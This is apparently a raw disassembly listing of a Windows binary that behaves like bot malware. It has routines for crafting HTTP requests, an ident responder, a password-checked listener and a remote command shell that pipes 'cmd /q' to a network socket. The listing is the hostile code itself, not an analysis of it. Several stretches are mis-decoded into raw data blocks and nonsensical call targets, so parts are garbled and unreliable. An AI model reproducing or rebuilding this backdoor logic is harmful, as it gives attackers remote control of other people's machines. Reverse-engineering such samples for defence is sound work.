loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 push 6 push 1 push 2 call dword_4CBA54 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9D4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA60 push eax lea eax, [ebp-238h] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB968 push eax lea eax, [ebp-238h] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA6C push dword ptr [ebp-4] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA00 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CB9FC test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA68 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA60 push eax lea eax, [ebp-350h] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi ; --------------------------------------------------------------------------- dw 0AEE8h dd 900226F1h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 226F100h dd 79E8EDEBh, 900226F9h, 51906850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9D4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA58 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB98C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA60 push eax lea eax, [ebp-344h] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi nop call near ptr 2680089h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h call near ptr 2680000h nop jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj call near ptr 2680880h nop push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi call near ptr 26E0000h nop pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E91C[esi] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E920[esi] call dword_4CBA6C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 ; --------------------------------------------------------------------------- dd 2CEE43E8h, 5E5F9002h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9BC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9EC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB928 test eax, eax jz short loc_4112BD call dword_4CB968 push eax push offset unk_43532C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB98C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA60 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 cmp dword_4CE72C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352F0 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E call near ptr 2680880h nop push eax push offset unk_4352C4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx call near ptr 26E0000h nop loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435298 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi call near ptr 26E0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 0EB5AE857h, 5790022Ch, 4116CC68h, 0E2E89000h, 850238F4h dd 0E82975C0h, 226F3C4h, 0B0685090h, 0E8004354h, 48E4h dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22CEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 6EE85056h, 900226EAh dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 226E9C0h, 0E890EDEBh dd 226F238h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 0E936E856h, 5B90022Ch, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call near ptr 2680880h nop push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call near ptr 2680880h nop push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2690845h loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0CE1h sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 call near ptr 2680880h nop push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j nop call near ptr 2690845h push 1 push dword ptr [esi+8] nop call near ptr 2720A41h loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA6C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A call near ptr 2680880h nop push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 nop call near ptr 2680880h push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2730000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2660A8Bh test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx nop call near ptr 266076Ah jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call near ptr 2680880h nop push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr 